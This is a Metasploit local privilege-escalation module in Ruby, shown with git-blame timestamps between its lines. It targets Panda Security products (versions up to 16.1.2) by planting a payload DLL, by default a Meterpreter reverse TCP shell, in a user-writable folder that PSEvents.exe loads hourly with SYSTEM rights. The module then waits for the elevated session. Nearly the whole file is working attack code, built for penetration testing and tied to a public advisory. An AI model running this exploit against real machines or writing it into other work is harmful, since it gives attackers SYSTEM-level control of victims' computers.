2016-09-28 00:15:17 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/exe'
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Exploit::EXE
|
|
|
|
include Exploit::FileDropper
|
|
|
|
include Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Panda Security PSEvents Privilege Escalation',
|
|
|
|
'Description' => %q{
|
|
|
|
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
|
|
|
|
When run, it checks a user writable folder for certain DLL files, and if any are found
|
|
|
|
they are automatically run.
|
|
|
|
Vulnerable Products:
|
|
|
|
Panda Global Protection 2016 (<=16.1.2)
|
|
|
|
Panda Antivirus Pro 2016 (<=16.1.2)
|
|
|
|
Panda Small Busines Protetion (<=16.1.2)
|
|
|
|
Panda Internet Security 2016 (<=16.1.2)
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
2016-09-28 22:37:48 +00:00
|
|
|
"h00die <mike@shorebreaksecurity.com>", # Module,
|
2016-09-28 00:15:17 +00:00
|
|
|
'Security-Assessment.com' # discovery
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [
|
|
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
|
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DefaultOptions' => {
|
|
|
|
'payload' => 'windows/meterpreter/reverse_tcp',
|
|
|
|
'exitfunc' => 'seh'
|
|
|
|
},
|
|
|
|
'References' => [
|
|
|
|
[
|
|
|
|
'EDB', '40020',
|
|
|
|
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
|
|
|
|
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DisclosureDate'=> 'Jun 27 2016'
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptEnum.new('DLL', [ true, 'dll to create', 'CRYPTBASE.dll',
|
|
|
|
['WINHTTP.dll', 'VERSION.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll', 'cryptnet.dll', 'WININET.dll']]),
|
|
|
|
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_path()
|
|
|
|
case sysinfo['OS']
|
|
|
|
when /Windows (7|8|10|2012|2008)/
|
2016-09-28 22:37:48 +00:00
|
|
|
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171\\'
|
2016-09-28 00:15:17 +00:00
|
|
|
when /Windows (NT|XP)/
|
2016-09-28 22:37:48 +00:00
|
|
|
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171\\'
|
2016-09-28 00:15:17 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
directory
|
|
|
|
if directory(get_path())
|
|
|
|
print_good('Vuln path exists')
|
|
|
|
CheckCode::Appears
|
|
|
|
else
|
|
|
|
CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-09-28 22:37:48 +00:00
|
|
|
vprint_status("OS Detected as: #{sysinfo['OS']}")
|
2016-09-28 00:15:17 +00:00
|
|
|
|
|
|
|
payload_filepath = get_path()
|
|
|
|
payload_filepath = "#{payload_filepath}#{datastore['DLL']}"
|
|
|
|
upload_payload_dll(payload_filepath)
|
|
|
|
|
|
|
|
# start the hour wait
|
|
|
|
stime = Time.now.to_f
|
|
|
|
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
|
|
|
|
print_status "Start Time: #{Time.now.to_s}"
|
|
|
|
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
|
|
|
|
Rex.sleep(1)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def upload_payload_dll(payload_filepath)
|
|
|
|
payload = generate_payload_dll()
|
|
|
|
print_status('Uploading the Payload DLL to the filesystem...')
|
|
|
|
begin
|
|
|
|
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
|
|
|
write_file(payload_filepath, payload)
|
|
|
|
register_file_for_cleanup(payload_filepath)
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|